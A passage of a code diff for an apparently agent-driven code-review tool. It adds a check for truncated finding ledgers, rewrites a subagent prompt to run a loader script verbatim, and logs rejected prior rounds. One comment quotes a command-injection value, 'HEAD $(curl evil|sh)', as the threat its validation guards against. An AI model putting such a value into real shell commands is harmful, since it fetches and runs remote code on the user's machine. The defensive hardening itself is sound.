pure guards close the resulting coverage holes (see the runtime use sites): @@ -860,8 +852,19 @@ function selectPriorRound(indexEntries, { project, branch }) { // shouldFullRescan — every `fullEvery`-th re-review (and always when the ledger is degraded, or on a // first review) re-scans the FULL base...HEAD diff so an earlier miss in untouched code resurfaces. // fullEvery<=0 disables the periodic full scan (pure incremental). +// ledgerTruncated — the ledger crosses an agent boundary as structured output. The loader script +// prints an authoritative `ledgerCount` beside it; if the array that arrived is a different +// length, entries were lost in transport and an 82-entry round would otherwise be carried as a +// genuine 20-entry one. Degraded → full re-scan, same as a missing ledger. +function ledgerTruncated(priorRound) { + if (!priorRound) return false + const count = Number(priorRound.ledgerCount) + if (!Number.isFinite(count)) return false // a record from before the count existed: nothing to check + return count !== (Array.isArray(priorRound.ledger) ? priorRound.ledger.length : 0) +} function ledgerDegraded(priorRound) { if (!priorRound) return false + if (ledgerTruncated(priorRound)) return true const findings = Number(priorRound.priorFindings || 0) const ledgerLen = Array.isArray(priorRound.ledger) ? priorRound.ledger.length : 0 return findings > 0 && ledgerLen === 0 @@ -921,15 +924,24 @@ const head = (typeof detected?.head === 'string' ? detected.head : '').trim() let priorRound = null if (!freshArg && branch && head) { priorRound = await ragent( - `You are locating the prior review round for this branch, if any. Shell + read only. -1. If \`~/.craft/runs/index.jsonl\` does not exist, return {found:false}. -2. Read it. Select the newest line with kind="workflow", name="review", project=\`pwd\`, branch=${JSON.stringify(branch)} (newest = lexical-max ts). If none, return {found:false}. -3. That line has a \`head\` field (a prior commit). Check ancestry: \`git merge-base --is-ancestor HEAD\` (exit 0 = ancestor). If NOT an ancestor (rebase/force-push/unrelated), return {found:false}. -4. Reconstruct the full record path \`~/.craft/runs/-workflow-review.json\` from that line's ts, read it, and return {found:true, round:, head:, ledger:, priorFindings:}. -Best-effort: any error → {found:false, round:0, head:"", ledger:[], priorFindings:0}.`, + `You are the craft prior-round loader. This is mechanical IO — you DECIDE nothing: selecting the round, checking ancestry and reading the record are all done by the script. + +Run exactly this: + +\`\`\` +cd ${shq(repoArg || '.')} && node ${LOGGER_PATH} prior-round --branch ${shq(branch)} --project "$PWD" +\`\`\` + +It prints ONE line of JSON and always exits 0. Return that object VERBATIM — copy the \`ledger\` array byte for byte, do not summarize, re-key, truncate or "clean up" any entry. It prints \`ledgerCount\` alongside \`ledger\` — copy that number EXACTLY as printed; never recount, never adjust it to the array you are returning. If the command prints nothing or cannot run, return {found:false, round:0, head:"", ledger:[], ledgerCount:0, priorFindings:0, reason:"loader-did-not-run"}.`, { label: 'prior-round', schema: PRIOR_ROUND_SCHEMA, model: 'haiku', effort: 'low', phase: 'Scout' }, ) - if (!priorRound?.found) priorRound = null + // Every rejection has a reason and the reason is LOGGED. Silence here is the exact defect this + // command replaced: the first re-review of a branch whose rows predate the absolute-path key + // restarts from a blank ledger, and that must be visible rather than inferred from thin results. + if (!priorRound?.found) { + if (priorRound?.reason) log(`No prior round: ${priorRound.reason}`) + priorRound = null + } // Harden the model-authored ledger `head` at the LOAD boundary before it ever reaches a shell // command (it is interpolated into the carry/adjudicate `git diff ...HEAD`). If it is not a // safe commit-ish (a crafted `HEAD $(curl evil|sh)` from a tampered ledger), fall back to the @@ -940,6 +952,10 @@ Best-effort: any error → {found:false, round:0, head:"", ledger:[], priorFindi priorRound.head = baseRef } } +// Transport integrity: assert the ledger we received is the ledger the script printed. +if (priorRound && ledgerTruncated(priorRound)) { + log(`⚠️ prior-round ledger arrived TRUNCATED: the loader printed ${priorRound.ledgerCount} entr(ies), ${priorRound.ledger?.length || 0} survived transport — treating the round as degraded and forcing a full re-scan.`) +} if (priorRound) log(`Re-review: prior round ${priorRound.round} @ ${flattenField(priorRound.head)} · ${priorRound.ledger?.length || 0} ledger finding(s)`) else log(freshArg ? 'Fresh review (—fresh): prior round ignored' : 'First review for this branch (no prior round)')